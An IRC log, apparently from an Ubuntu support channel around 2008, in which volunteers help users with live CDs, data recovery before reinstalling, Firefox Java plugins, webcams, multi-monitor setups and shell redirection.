[01:56] <jrib> methods: system -> preferences -> power management
[01:56] <Fused> It works now.
[01:56] <Spacy> Jordan_U: Thank you - I even thought i had unlearned 15years of linux use (cause of too much j2ee coding recently ;))
[01:56] <jrib> Fused: oh, ok cool :)
[01:56] <Fused> Be right back. Thank again, jrib.
[01:56] <ircleuser> schuenemon how do i do that without erasing the partition to install windows
[01:56] <moosen> hmm, jrib, this is interesting: I also have the i915 module running, though it's a intel 855GM
[01:57] <moosen> jrib: I'll check it out
[01:57] <Schuenemann> ircleuser, check if isn't already mounted at /media
[01:57] <methods> does suspend constitute powering down ?
[01:57] <user_> Hey
[01:57] <Spacy> Jordan_U: That was the first thing that came to my mind, too. But 1st it did run some hours ago - 2nd im sitting behind a ubuntu firewall server so that's somewhat unlikely
[01:57] <ircleuser> by booting from the hard drive?
[01:57] <user_> Where are all the programs stored?
[01:57] <user_> I mean all the applications
[01:58] <user_> Like, in windows there is Program Files?
[01:58] <Schuenemann> ircleuser, no, use nautilus and open /media
[01:58] <Fused> Sweet.
[01:58] <ircleuser> do i need to download nautalis first then
[01:58] <ircleuser> ?
[01:58] <Schuenemann> ircleuser, what OS are you using now?
[01:59] <ircleuser> none
[01:59] <methods> jrib:  isn't there a better power manager... i forget hte name of it
[01:59] <ircleuser> i had windows
[01:59] <Schuenemann> then how are you talking here?
[01:59] <ircleuser> i dont knoow how it happened
[01:59] <jrib> methods: not that I know of
[01:59] <ircleuser> on another comp
[01:59] <Schuenemann> and you have ubuntu on your comp?
[01:59] <ircleuser> different computers (mac OSX)
[02:00] <ircleuser> i have ubuntu on a boot disk in my comp that had windows but can no longer boot using windows
[02:00] <methods> dude my desktop keeps crashing using the live cd is this normal ?
[02:00] <methods> i think it might be nx client
[02:00] <Schuenemann> ircleuser, you mean you have a ubuntu live cd?
[02:00] <Spacy> Jordan_U: And i guess a rootkit wouldn't block skype and leave everything else i tried till now untouched
[02:01] <ircleuser> not sure
[02:01] <ircleuser> new to linux
[02:01] <user_> Where are all the programs stored like Rhythmbox etc... like in windows there is Program Files?
[02:01] <Schuenemann> ircleuser, what do you mean by "boot disk" ?
[02:01] <Jordan_U> Spacy: It might, there might be a bug in whatever modification the rootkit made to hide its files
[02:01] <ircleuser> its an iso i downloaded to install ubuntu
[02:01] <ircleuser> and burnt to a cd
[02:01] <Schuenemann> is it on a cd?
[02:01] <ircleuser> yes
[02:01] <Schuenemann> yes, that's a live cd
[02:02] <ircleuser> ok
[02:02] <jStefan> ircleuser, did you try taking the cd out?
[02:02] <cort> Does anyone know where I can get some help with Thunderbird? I can't remember my gmail account which I am connecting to through thunderbird via IMAP. For whatever reason the IMAP part lost the password but the SMTP part didn't so I can send mail through my gmail in thunderbird but I can't receive it. Is there a way to view the saved passwords in thunderbird?
[02:02] <Schuenemann> so, you want to erase windows and install ubuntu, but you want to copy your files before doing that?
[02:02] <ircleuser> boot cd is windows lingo for a cd that the computer uses to start
[02:02] <ircleuser> correct
[02:02] <ircleuser> can it be done?
[02:02] <Schuenemann> well, yes...
[02:03] <cilkay> cort: No, there isn't. Just change your Gmail password using your browser.
[02:03] <Jordan_U> Spacy: Have you tried chckrootkit just in case?
[02:03] <Spacy> Jordan_U: Hm you're right - any good recommendation for a scanning tool?
[02:03] <Schuenemann> ircleuser, I would use the livecd to boot ubuntu, then copy the files to a pendrive and then erase windows' partiton
[02:03] <Spacy> Jordan_U: nope not yet - will do in a moment
[02:03] <cort> cilkay: I would if I could remember it :) catch 22
[02:03] <kindofabuzz> rkhunter or chkrootkit
[02:03] <Schuenemann> are there too many files?
[02:03] <thorny_sun> is there a faster way to do this:? 'cp blah.txt blah/blah/blah/blah/blah.txt; cd blah/blah/blah/blah' ? i.e. is there some quick way to cd down into the directory you just copied to?
[02:04] <ircleuser> one drive has 32 GB taken and the other 24
[02:04] <ircleuser> what do you mean pen drive?
[02:04] <Schuenemann> USB flash drive
[02:04] <ircleuser> oh
[02:04] <Schuenemann> or stick, or whatever it's called where you live
[02:04] <ircleuser> then yes theres too many files
[02:04] <cilkay> cort: Let me guess, you don't have another email address associated with your Gmail account so you can't do a password reset either. If so, in the very unlikely event Google will reset the password for you, you're stuck. You might to try hypnosis. :)
[02:05] <Pici> thorny_sun: not really... but remember that tab-complete works on the terminal, it makes things a lot faster
[02:05] <jStefan> ircleuser, Schuenemann: or a removable USB hard drive?
[02:05] <Schuenemann> jStefan, or data traveler
[02:05] <ircleuser> i think i have an option
[02:05] <thorny_sun> Pici: thanks-- was hoping for something faster than tab complete-- guess i could always create my own command that does both at once..
[02:05] <Schuenemann> ircleuser, if you can copy them all to your usb stick, then it's done
[02:05] <ircleuser> i have 2 hard drives and an enclosure
[02:06] <Schuenemann> what does the second HD have?
[02:06] <Spacy> Jordan_U: nothing found
[02:06] <Jordan_U> thorny_sun: cd $(dirname $_)
[02:06] <cort> cilkay: I do but for what ever reason that email address is not receiving emails. It's a redirect to a work account. I was just hoping there was a quick fix to this mess. Like viewing saved passwords in Firefox
[02:06] <hedgie> hey, how can i search everywhere includeing within achieves?
[02:06] <ircleuser> the primary has windows on it and more files than the second
[02:06] <timma> oh.....!  I just.  You make me realize, Jordan_U.  Should I do a chmod 755 or 744 ?
[02:06] <Caplain> hi
[02:06] <Schuenemann> ircleuser, the 2nd doesn't have any OS installed?
[02:07] <ircleuser> thats righty
[02:07] <ircleuser> right**
[02:07] <Schuenemann> then you can copy things to the 2nd
[02:07] <taishi28012> I'm having a problem setting up mpd/ncmpc.  I run "mpd --create-db" and it all goes good but when I fire up ncmpc there is nothing in the browse buffer.
[02:07] <ircleuser> cant boot using the windows installation
[02:08] <Schuenemann> ircleuser, you boot using ubuntu cd
[02:08] <ircleuser> is that in the first menu on the disk?
[02:08] <Schuenemann> I think yes
[02:08] <ircleuser> ok
[02:08] <Schuenemann> start or install, something like that
[02:09] <ircleuser> im gonna go try that
[02:09] <ircleuser> ill be back if it doesnt happen
[02:09] <cilkay> cort: I've never seen such an option. The only thing that lets me see saved passwords is KWallet, which itself is password protected. The password reset email might be caught by your spam filter at work and ending up in a spam box somewhere.
[02:09] <thorny_sun> Jordan_U: thanks!! that's a good idea!! didn't realize about $_
[02:09] <Jordan_U> thorny_sun: np
[02:09] <Schuenemann> ircleuser, is the 2nd comp next to you too?
[02:11] <cort> cilkay: I thought so but the setup for me lets pretty much everything through. I'll have the sys admin check in the morning. Is KWallet like password safe?
[02:11] <Lollipopz> mkdir for folder
[02:11] <Lollipopz> and for files?
[02:11] <Lollipopz> please : )
[02:11] <Spacy> no kernel or bash hackerz here? xD
[02:12] <jrib> Lollipopz: touch
[02:12] <Lollipopz> yay thanks jrib!
[02:12] <Babam> I have an Q: My LiveCD has a file error, and is failing at 54% of the install, I was wondering if it was possible to run a install from within in the LiveDisk, but not using the live disk, but a installer saved to the hard disk.
[02:13] <cilkay> cort: You wouldn't know what isn't getting through, would you? Password reset emails look an awful lot like spam or a phishing attempt to dumb spam filters. KWallet is a means of storing passwords in a supposedly secure fashion in KDE.
[02:13] <Jordan_U> Spacy: Might try ##linux
[02:14] <Babam> Any one?
[02:14] <Spacy> Jordan_U: Whow you can read my mind ;) was about to ask for other server/channels :) haven't been on the irc for quite some time
[02:14] <jws> hello. trying to change fonts in eterm. eterm*font: doesnt work in xdefaults, just woundering if they is another alias
[02:15] <jStefan> Babam, are you installing using wubi?
[02:16] <Babam> @j: No, it's a fresh slate HDD , live disk is 8.04, it has a disk error, so if fails at 54% install, I was wondering if it was possible to run a installer stored on the HDD from with in the liveCD shell
[02:17] <ircleuser> ok
[02:17] <ircleuser> cant find how to boot from cd
[02:17] <Schuenemann> ircleuser, what happened
[02:17] <ircleuser> would that be mount and execute cd rom?
[02:17] <Schuenemann> did you boot from cd? you have to restart your machine for that
[02:18] <ircleuser> there doesnt seem to be an option to boot from cd without installing ubuntu
[02:18] <Babam> jStefan: Did you get all that?
[02:18] <jStefan> Babam, don't know how to help you. But if you already have the iso download, I suggest burining again, and try using validation if your burning software supports it
[02:18] <Babam> oh
[02:18] <Schuenemann> ircleuser, it should be the first... did you try it?
[02:18] <ircleuser> first is install ubunto
[02:18] <jStefan> Babam, a blank cd isn't too expensive these days :P
[02:18] <Babam> Well the iso happens to be gone, graah gonna have to re download it
[02:18] <ircleuser> ubuntu**
[02:18] <jrgp> my installer is stuck on creating ext3 file system for /, what do I do? I've got really important stuff on other partitions in that drive.
[02:18] <Schuenemann> ircleuser, I think that is both start and install. Try it
[02:19] <ircleuser> ok
[02:19] <ircleuser> i got there
[02:19] <Babam> <-- 15, no income, going to try Re Writing the disk (yay for RW's!)
[02:19] <Schuenemann> there where?
[02:19] <amenado> jrgp-> you did make a backup before doing this thing right?
[02:19] <branigin> can somebody help me get xubuntu 8.10 alpha to stop saving sessions
[02:19] <ircleuser> then it started continuing install
[02:19] <ircleuser> so i went to the main menu
[02:20] <Daisuke_Ido> jrgp: it can take some time, especially if you're resizing another partition to make room
[02:20] <Schuenemann> ircleuser, so it started ubuntu?
[02:20] <ircleuser> and followed the option "execute and mount cdrom"
[02:20] <jrgp> it has 2 partitions (/ and /home), the latter is huge, I'm deleting the former and creating two partitions in its place
[02:20] <ircleuser> it started the installation process yes
[02:20] <jStefan> !intrepid | branigin
[02:20] <branigin> k thanks
[02:20] <jrgp> (it's stuck at 33% and not moving)
[02:20] <Schuenemann> ircleuser, did it open ubuntu with an interface similar to windows?
[02:21] <ircleuser> yeah
[02:21] <user_> Hey
[02:21] <ircleuser> blue red and grey you mean?
[02:21] <user_> Does anybody know how to make it so that at the top panel on the left it will say which program is active now like in Mac OS X? Like, if I am running pidgin, to say at the top left Pidgin?
[02:21] <Schuenemann> ircleuser, I don't remember the colours exacly, but it shows the time on the right side, has a "start" menu, etc?
[02:21] <christoz> what is the name of the "adobe pdf viewer" package?
[02:21] <user_> I saw it that they do it in themes, but I have no idea how :p
[02:22] <ircleuser> Schueneman:erm
[02:22] <ircleuser> no
[02:22] <christoz> !adobe
[02:22] <jStefan> !pdf
[02:22] <timma> Jordan_U sorry.  what should I do?
[02:22] <updates> Question: I use Xinerama in xorg.conf. I use 3 monitors and all Screen01, Screen02 RightOf Screen01 and Screen03 RightOf Screen02. When I move th cursor from Screen01 to Screen03, it's ok but cursor won't go back to Screen01, just Screen02 and 03. Anyway please?
[02:22] <ircleuser> its a lot more like DOS with colors
[02:22] <christoz> :D
[02:22] <user_> lol :p
[02:22] <Schuenemann> ircleuser, it's hard to say something without seeing... what was written on the screen?
[02:22] <methods> this middle mouse button on my laptop has 4 way switch how can i remap what the buttons do ?
[02:23] <ircleuser> at the begining?
[02:23] <computer> what is a good pdf editor?
[02:23] <Schuenemann> after you chose install ubuntu, what happened exacly?
[02:23] <Jordan_U> timma: Did you only change the permissions on / or did you change them recursively?
[02:23] <Schuenemann> I think it should start ubuntu with a GUI
[02:24] <Daisuke_Ido> updates: can you set a screen as left of another screen?
[02:24] <Daisuke_Ido> perhaps having the primary monitor in the middle would help eliminate the issues, since after going from 2 to 3 it appears to forget there's a 1
[02:24] <timma> Jordan_U "sudo chown 744 /" now my problem is the "bash: /usr/bin/sudo: Permission denied"
[02:24] <ircleuser> have you installed windows before where you need to format a partition and its all kinda bluescreen-esque
[02:24] <drksoft> m
[02:25] <Daisuke_Ido> Schuenemann: sounds like he grabbed the alternate install cd rather than the livecd
[02:25] <Schuenemann> Daisuke_Ido, oh... I never used that one
[02:25] <ircleuser> i think thats right
[02:26] <Schuenemann> Daisuke_Ido, is the alternated cd bootable?
[02:26] <ircleuser> so if i get a live cd i can boot to a desktop and move all my data without formatting
[02:26] <Schuenemann> alternate*
[02:26] <timma> Jordan_U I will have to restart in system rescue or something.
[02:26] <timma> back in ten
[02:27] <ScheissDrogen> ﻿Schuenemann:shure
[02:27] <Jordan_U> timma: If you only changed the permissions for / then just "sudo chmod 0755 /", if you changed them recursively, re-install
[02:27] <ScheissDrogen> !alternate > Schuenemann
[02:27] <Schuenemann> ScheissDrogen, I mean can you start ubuntu with it?
[02:27] <Drako_m> anyone with a blackberry and use it as bt modem?
[02:27] <Schuenemann> oh... it's text-mode
[02:28] <Schuenemann> ircleuser, I guess you'll have to download and burn the livecd
[02:28] <ircleuser> ok
[02:28] <ircleuser> \whre
[02:28] <ircleuser> where can i get that?
[02:28] <ScheissDrogen> Schuenemann: also , but the repair options of the standard Installer i like better... shot grub ?
[02:28] <usser> Jordan_U, cant u boot into live cd and chroot
[02:29] <Schuenemann> ScheissDrogen, not me, he screwed up his windows and wants to save files before installing ubuntu
[02:29] <Spacy> Jordan_U: a quick question - i've downgraded libasound2 to install libasound2-dev to compile kvm+qemu - to exclude that change from being relevant to my problem, i'd like to reinstall the newest version of libasound2, but apt-get install tells me, i've already got the newest one? is 1.0.15-3ubuntu4 really it? (dpkg -l)
[02:29] <ScheissDrogen> Schuenemann: for that the alternate does fine, too
[02:29] <Schuenemann> ScheissDrogen, but with no GUI?
[02:30] <ircleuser> ill just get a live cd
[02:30] <Schuenemann> ircleuser, http://www.ubuntu.com/getubuntu/download
[02:30] <Syco54645_AAO> casao: you around?
[02:30] <ircleuser> where can i download one fastest?
[02:30] <ircleuser> k
[02:30] <casao> Syco54645_AAO: yes
[02:30] <AgentZed> Hi folks, I'm about to install Ubuntu 8.04, but I have a wee question.  I have 3 hard drives in my PC, sdb and sdc are RAID'd together and are full of very important things, while sda is separate from the RAID and currently blank.  I want to install onto sda, but when I select 'New partition table' it tells me 'If you procede with creating a new partition table on the device, then all current partitions will be removed'.  I just want to be absolutely cert
[02:30] <AgentZed> rring to the blank drive, and isn't including the other two drives under the umbrella of 'all partitions'.
[02:30] <ScheissDrogen> Schuenemann: thats your decision, wherever use a terminal or a gui
[02:30] <Syco54645_AAO> casao: incoming pm
[02:31] <Schuenemann> ScheissDrogen, can the alternate use a GUI (nautilus, for example) without installing?
[02:31] <ircleuser> OOOHHHH
[02:31] <ircleuser> ive been here
[02:31] <ircleuser> i cecked the box
[02:31] <ScheissDrogen> Schuenemann: yes
[02:31] <ircleuser> ok
[02:32] <Schuenemann> ScheissDrogen, how can he do t hat?
[02:32] <ScheissDrogen> ﻿AgentZed:simply unplug the full ones.. lol 200% shure
[02:32] <Pici> Schuenemann: The alternate CD is not a LiveCD.
[02:32] <musikgoat> AgentZed: ^^ agreed
[02:32] <ircleuser> right
[02:32] <ircleuser> ok
[02:32] <Schuenemann> Pici, so he cannot do it?
[02:32] <ircleuser> so i download that
[02:32] <musikgoat> AgentZed: you can also look at first detected in bios
[02:32] <ircleuser> burn it to CD
[02:32] <Pici> Schuenemann: Correct.
[02:33] <ircleuser> and boot up form there
[02:33] <Schuenemann> ircleuser, yes, but do not check that box
[02:33] <ircleuser> then i can transfer all my windows data to one drive?
[02:33] <ircleuser> great
[02:33] <Schuenemann> yes, exacly
[02:33] <timma> okay Jordan_U what is your solution?  I did "sudo chown 755 /"
[02:34] <ircleuser> ive been meaning to switch to an open source os for years
[02:34] <Schuenemann> you'd better come here when you have it burnt
[02:34] <AgentZed> Well, the other two HDs have Windoze installed on them, so I need them plugged in for Grub to get set up properly.  I think.
[02:34] <Jordan_U> timma: Did you only change / or did you do a recursive change ( when you first changed it to world writable ) ?
[02:35] <ScheissDrogen> ﻿ircleuser:for pure live - cds knoppix is very handy
[02:35] <Jordan_U> Spacy: Yes, that's the newest version
[02:35] <ircleuser> ok
[02:35] <komputes> ScheissDrogen: what do you mean by "pure" ?
[02:36] <ircleuser> so i use the knoppix to save data and the alternate to install later?
[02:36] <timma> Jordan_U only /
[02:36] <timma> Jordan_U I did 744 at first and everything slowly stopped working
[02:37] <Aquahallic> Evenin' folks
[02:37] <ircleuser> by  pure live you mean it is live cd only right?
[02:37] <ircleuser> on knoppix?
[02:37] <Aquahallic> if I have a drive in a machine and I'm not sure what filesystem is on it.. what's the easiest way to determine this via CLI??
[02:37] <Schuenemann> knoppix can be installed too
[02:37] <ScheissDrogen> komputes: I found it to often have even bigger hardwaresupport out of the box , and yes special designed for that
[02:38] <Schuenemann> Aquahallic, fdisk -l
[02:38] <Aquahallic> ty
[02:40]  * Schuenemann wishes he had a canonical store near him
[02:40] <updates> Daisuke_Ido, i also tried screen01, screen 02 LeftOf screen01, screen03 RightOf screen01
[02:41] <timma> Jordan_U thank you
[02:41] <Aquahallic> WHOAH... my /dev/sdb shows it doesn't have a valid partition table.. yet I'm able to read files off it... I "believe" I set this up with xfs.. is there a way I can check this disk?
[02:41] <Daisuke_Ido> updates: yeah, that would have been about my only suggestion :\
[02:42] <updates> Daisuke_Ido, thanks anyway :)
[02:42] <Phrosbyte> I am using Nvidia X server and I have 2 X screens. I would like a specific application (MythTV) to always open in X Screen 1, and make it the active window. Any command options I could add?
[02:42] <powertool08> I generated new ssh keys with "ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key" and upon restarting sshd it says it could not load the host key. How do I find out why its failing?
[02:43] <quaal> have any of you imaged a linux install and then installed it in a vmware session
[02:44] <qr_> Phrosbyte: do you have 2 X servers running or just two displays with a single server?
[02:44] <_Zeus_> quaal: no
[02:45] <`hedgie> how do u search using multiple terms using the built in search is it "*.jpg *.gif"
[02:45] <_Zeus_> `hedgie: in what?
[02:45] <_Zeus_> tracker?
[02:45] <Phrosbyte> 2 X servers running sorry
[02:45] <quaal> _Zeus_, think its possible?
[02:45] <_Zeus_> quaal: yes
[02:45] <`hedgie> just the search for files thing
[02:45] <quaal> _Zeus_, I was planning on using clonezilla
[02:45] <_Zeus_> `hedgie: i think so
[02:45] <qr_> Phrosbyte: you should be able to do DISPLAY=theoneyouwant commandtostartmythtv to get it to start in the Xserver you want
[02:46] <`hedgie> oh
[02:46] <_Zeus_> !locate | `hedgie
[02:46] <_Zeus_> just type locate .jpg
[02:47] <Sephr> I've been looking for an ubuntu 8.04.1 64bit torrent that has at least 100 seeds, does anyone know of one?
[02:47] <jerrold> im looking for a way to show the login/welcome screen after x mins of inactivity - say 5mins screensaver 10mins login screen - any help would be appreciated
[02:48] <_Zeus_> Sephr: why don't you just download it without a torrent?
[02:48] <mib> hi
[02:48] <Sephi> hrm
[02:48] <mib> anyone knows where to install Graphviz
[02:48] <Sephr> because the downloads always give out at around 2gb for me
[02:48] <_Zeus_> hi
[02:48] <mib> im using fesity
[02:48] <_Zeus_> !info graphviz
[02:48]  * Sephi goes back to watching fma
[02:48] <_Zeus_> Sephr: you're using IE aren't you
[02:48] <Sephr> no
[02:48] <Sephr> Fx3.0.1
[02:48] <_Zeus_> really? huh
[02:48] <_Zeus_> hmm
[02:48] <_Zeus_> use wget
[02:49] <Sephr> well I'm using downthemall on fx3
[02:49] <mib> i try sudo apt-get install graphviz but coundt found
[02:49] <Sephr> might be a problem with downthemall
[02:49] <_Zeus_> mib: run sudo apt-get update
[02:49] <mib> okie
[02:50] <Sephr> well anywho, my question wasn't how can I get a good direct download, it was where I can get a good 8.04.1 64bit iso torrent
[02:50] <mib> Zeus: ive done that
[02:50] <Schuenemann> mib, try apt-cache search graphviz
[02:50] <_Zeus_> Sephr: no idea
[02:50] <paola> hhhh
[02:50] <jStefan> Sephr, i find the ubuntu torrents more reliable then direct, but i always download my images on release day :D
[02:50] <ShinjinAkage> I have Java installed on my computer and it works but firefox won't use it for some reason. Can someone help?
[02:50] <paola> hhhh
[02:51] <mib>  Schuenemann: ive try the cache and it prints out something
[02:51] <Schuenemann> mib, prints out the correct package name?
[02:51] <_Zeus_> ShinjinAkage: what makes you think it works?
[02:51] <Schuenemann> !pastebin | mib
[02:51] <Sephr> just a general search for the terms ubuntu 64bit give almost no results on all torrent sites
[02:52] <ShinjinAkage> Because I've used the java enviroment to run a downloaded java application.
[02:52] <_Zeus_> hmm
[02:52] <Schuenemann> ShinjinAkage, I think you need to create a symlink to a .so file
[02:52] <Jordan_U> ShinjinAkage: Do you have the FF plugin installed?
[02:52] <musikgoat> Sephr: ubuntu provides a torrent file
[02:52] <Sephr> musikgoat: with 3 seeds
[02:52] <mib> http://paste.ubuntu.com/43515/
[02:52] <Jordan_U> !java | ShinjinAkage
[02:53] <Aquahallic> if I have a drive with xfs file system on it.. and I do a fdisk -l and it comes back as does not have a valid partition table on it... is there a way I can repair with without any data loss... I can read and write the drive right now...
[02:53] <musikgoat> Sephr: check linuxtracker?
[02:53] <ShinjinAkage> I already installed that...
[02:53] <Schuenemann> mib, it doesn't seem to be any of them
[02:53] <cilkay> Aquahallic: The obvious thing to do is to get the data off that disk ASAP then fiddle with it.
[02:53] <_Zeus_> Aquahallic: I would recommend copying all the files off then formatting and putting it back in
[02:53] <mib> graphviz-cairo ?
[02:53] <_Zeus_> crap ninja'd :-P
[02:54]  * Aquahallic knew that was coming....LOL
[02:54] <_Zeus_> mib: go to System > Administration > Software Sources
[02:54] <Aquahallic> yeah.... well.. time to tax the network...:P
[02:54] <Schuenemann> ShinjinAkage, go to the jre directory. There should be a libsomething.so file
[02:54] <mib> yap
[02:54] <_Zeus_> mib: and enable all 4 checkboxes on the first page
[02:54] <jerrold> im looking for a way to show the login/welcome screen after x mins of inactivity - say 5mins screensaver 10mins login screen - any help would be appreciated
[02:55] <_Zeus_> jerrold: hmmmmmmmmm,,,,,,,
[02:55] <ShinjinAkage> Where does java install?
[02:55] <jerrold> im hoping its even possible - i dont see why not - but im having a hell of a time finding something useful on google
[02:56] <Sephr> found a 2xx seeded ubuntu 64bit on linuxtracker
[02:56] <Schuenemann> ShinjinAkage, /usr/lib/jvm/
[02:56] <Schuenemann> mine is /usr/lib/jvm/java-6-sun/jre/plugin/i386/ns7
[02:57] <IMTheNachoMan> does anyone know of a custom live cd/install for linux for a macbook pro?
[02:57] <ShinjinAkage> Schuenemann: I have that file. What am I supposed to do with it now?
[02:58] <Schuenemann> wait
[02:58] <_Zeus_> jerrold: http://ubuntuforums.org/archive/index.php/t-530973.html
[02:58] <Schuenemann> ShinjinAkage, create a symlink to it under ~/.mozilla/plugins
[02:58] <mrp> I am trying to connect my ubuntu box to a Cisco router via serial ports.  But dmesg shows no serial ports being detected.  What can I do to debug?
[02:58] <DEViUS> i need help, my webcam stopped working in linux (but works in windows) after a while of installation
[02:58] <_Zeus_> mrp: why are you using serial to connect to a router?
[02:59] <Schuenemann> the file name is libjavaplugin_oji.so
[02:59] <mrp> _Zeus_, Because I don't know the IP address of it and it isn't connected to anything, so I'm going into its console port.
[02:59] <magichere> Hey , guys , How to re-identify the hal   usb disk , and send the message to dbus ?
[03:00] <DEViUS> plz, i need help, my webcam stopped working in linux (but works in windows) after a while of installation
[03:02] <jaakkome> does anybody know how to force ping return its "unknown host" error to a file? "ping something.com > else.log" doesn't work
[03:02] <DEViUS> anyone plz, i need help, my webcam stopped working in linux (but works in windows) after a while of installation
[03:02] <jerrold> zeus: thanks much! ill look into that :)
[03:02] <qr_> jaakkome: ping whatever 2>&1 > file
[03:02] <jaakkome> if it finds the host, it writes to the file with that command obviously
[03:02] <mgolisch> jaakkome: errors are printed to stderr and > only redirects stdout
[03:02] <qr_> jaakkome: 2>&1 merges stderr into stdout
[03:03] <DEViUS> anyone who can help me re-install my webcam
[03:03] <jaakkome> aa, that's just what I needed, thanks!
[03:04] <komputes> DEViUS: what do you mean by "stopped working"
[03:04] <daaaman64> Is there a way to reset X without reseting my session?  Currently I'm using ctrl-alt-backspace and it kills my session.
[03:05] <scientus> any "email stacks" so you dont have to install everything and configure it
[03:05] <scientus> just does the whole thing in a few clicks?
[03:05] <DEViUS> komputes: i used it for a while then, without reason it dosen't function anymore with cheese
[03:05] <daaaman64> scientus, well then how's that?
[03:05] <l3d> this may be a stupid question but is it possible to use  a screensaver as a wallpaper?
[03:05] <komputes> DEViUS: does it work with skype or VLC?
[03:05] <scientus> ? daaaman64
[03:06] <_Zeus_> l3d: Take a SS of the wallpaper
[03:06] <komputes> DEViUS: what make/model cam
[03:06] <DEViUS> komputes: let me check
[03:06] <daaaman64> scientus, ou weren't talking to me apparently. Sorry
[03:06] <DEViUS> komputes: Acer Crystal Eye (Bison)
[03:06] <scientus> daaaman64, yeah they go hand in hand daaman unless you do thuff in the ttys
[03:06] <l3d> _Zeus : well and also make it animated
[03:06] <scientus> some programs--geidt, firfox can resume sesisons though
[03:06] <daaaman64> scientus, thanks!
[03:06] <komputes> DEViUS: i take it that's an integrated cam on a laptop?
[03:07] <scientus> any "email stacks" so you dont have to install everything and configure it
[03:07] <scientus> just does the whole thing in a few clicks?
[03:07] <DEViUS> komputes: indeed it is
[03:07] <scientus> should be easy cause its so common
[03:07] <DEViUS> komputes: it dosent work in neither skype nor vlc
[03:07] <komputes> DEViUS: try installing VLC then do Open > Capture Device and change the device to /dev/video0
[03:08] <jaakkome> qr_: I still seem to be doing it wrong :(
[03:08] <DEViUS> komputes: i have vlc installed and tried but with failiure
[03:08] <komputes> DEViUS: it should already be on /dev/video, you just need to change it to /dev/video0 (zero not O)
[03:09] <wers> is intel GMA X3100 good enough for pcsx2? :D
[03:09] <Penol> How to download everything from a FTP to /home/range/files
[03:09] <jaakkome> I even tried pasting your line and it doesn't do anything differently from my earlier attempt
[03:09] <komputes> Penol: what ftp program do you want to use?
[03:09] <DEViUS> komputes: there dosent seem to be any "video" entry under "dev"
[03:09] <mahnamahna> hi, i set up my hauppauge 950 tv tuner, using the linuxtv.org drivers, i got the analog tuner working, but it is without sound, I can't use the conventional sox fix because there is no dsp1
[03:10] <Penol> komputes: the client in terminal
[03:10] <qr_> jaakkome: interesting ... I can't get it to work either with ping.  I'm not sure what's going on actually, I've never had a problem doing this before.
[03:11] <marcules> hi there
[03:11] <Aeron_wwap> i go the Ubuntu 8.04 cd in the mail today.  Is there an easy way to "upgrade" from 7.04 using the cd?  i have my stuff backed up on another dvd
[03:11] <Slade> hey marcules
[03:12] <_Zeus_> Aeron_wwap: no
[03:12] <_Zeus_> Aeron_wwap: if you want to update, use update-manager -d
[03:12] <stavros> hello
[03:12] <_Zeus_> !hi
[03:13] <T2> hello, i have a problem with sound on ubuntu, i can hear sound on firefox, but not mp3's from cd can anyone help please?
[03:13] <_Zeus_> !info lame
[03:13] <DEViUS> komputes: this is as far as i can get          http://pastebin.com/d7093407
[03:13] <_Zeus_> install lame, T2
[03:14]  * Dragon_Master takes a deep breath
[03:14] <stavros> i'm new to this (Linux) i more use to microsoft
[03:14] <marcules> huhu Slade :D
[03:14] <_Zeus_> ok
[03:14] <Dragon_Master> I need help getting firefox to detect java
[03:14] <jaakkome> qr_: ping something 2> file seemed to work though...
[03:14] <DOT3CH> anyone know how to get the window tray back up on the bottom of the screen in gnome after its been removed
[03:14] <T2> Zeus: is there a prepackaged one in ubuntu
[03:14] <joustin>  right clik on top panel and choose add panel
[03:15] <joustin> err new panel
[03:15] <qr_> jaakkome: ahh, try ping something > file 2>&1 , that seems to work for me.
[03:15] <qr_> jaakkome: apparently order is important here.
[03:15] <Xang> DOT3CH: In a panel on the bottom?
[03:15] <DOT3CH> yea
[03:15] <stavros> anyone knows how do use aircrack
[03:15] <Xang> DOT3CH: Right click and select "Add to panel.."
[03:15] <luqui> I'm trying to remove nautilus from my gnome session (by setting its style to trash), but it keeps coming back!
[03:15] <DOT3CH> no no, the entire bar
[03:16] <Schuenemann> Dragon_Master, you have to make a symlink from /usr/lib/jvm/java-6-sun/jre/plugin/i386/ns7/libjavaplugin_oji.so to ~/.mozilla/plugins
[03:16] <joustin> ang that works if the panel is there, click on the exsisting panel and choose new panel
[03:16] <luqui> i.e. set its style to trash, log out, log back in (and it's not there), log out, log back in (it's back!)
[03:16] <luqui> how do I get rid of it!?
[03:16] <Dragon_Master> Schuenemann, I already did
[03:16] <Dragon_Master> xD
[03:16] <arvind_khadri> hi, does SQUID have GUI??
[03:16] <Xang> DOT3CH: RIght click the top panel and select "New Panel"
[03:16] <Slade> DOT3CH: click on the bottom and click New Panel
[03:16] <DEViUS> komputes: are we going to solve this?
[03:16] <DOT3CH> Xang: ok that worked i think
[03:16] <Slade> and move the panel to the bottom, then Right click on thew new panel, and click Add To Panel  to add the things you want to add
[03:17] <komputes> DEViUS: trying
[03:17] <Schuenemann> Dragon_Master, and?
[03:17] <joustin> doh
[03:17] <jaakkome> qr_ great, now it's doing just what I wanted (and I learned something) thanks again!
[03:17] <Xang> DOT3CH: Then what Slade said :)
[03:17] <DOT3CH> Xang: i meant the actuall bottom bar that docked windows just like in windows xp
[03:17] <Dragon_Master> why do you think I'm here for this ;)
[03:17] <qr_> jaakkome: cheers!
[03:17] <DEViUS> komputes: as far as i understood there isnt any /dev/video0  nor
[03:17] <Schuenemann> Dragon_Master, are you sure java is working?
[03:17] <DEViUS> komputes: any /dev/video
[03:17] <Xang> DOT3CH: That is a combo of a bottom panel and an addon called: Window List
[03:17] <Slade> DOT3CH: we just told you. When you click Add To panel there's a thing for window lists
[03:18] <komputes> DEViUS: you are correvt
[03:18] <DEViUS> komputes: how can we create/make these properly
[03:18] <luqui> anybody?
[03:18] <DEViUS> komputes: as in character devices
[03:19] <komputes> DEViUS: well the driver (usually video4linux) takes care of detecting and creting the device
[03:19] <Slade> luqui: how are you setting its style to trash? and also, is this a theme?
[03:19] <The> Aircrack???
[03:19] <komputes> DEViUS: is there a switch or keyboard function key that turns the webcam on/off ?
[03:19] <luqui> Slade, using gnome-session-properties
[03:19] <luqui> Slade, is what a theme?
[03:19] <DEViUS> komputes: no there isn't
[03:20] <tarelerulz> What is good transcoder with a gui ?
[03:20] <Slade> luqui: your nautilus style. Did you download it from gnome-look.org or something similar?
[03:20] <komputes> tarelerulz: acidrip
[03:20] <DEViUS> komputes:  something went wrong recently, is it possible to have   v4l   reconfigure the webcam or something like that
[03:20] <luqui> Slade, ... nautilus... style?   I did install a theme, maybe that's it.  But I think it's just a gtk theme.
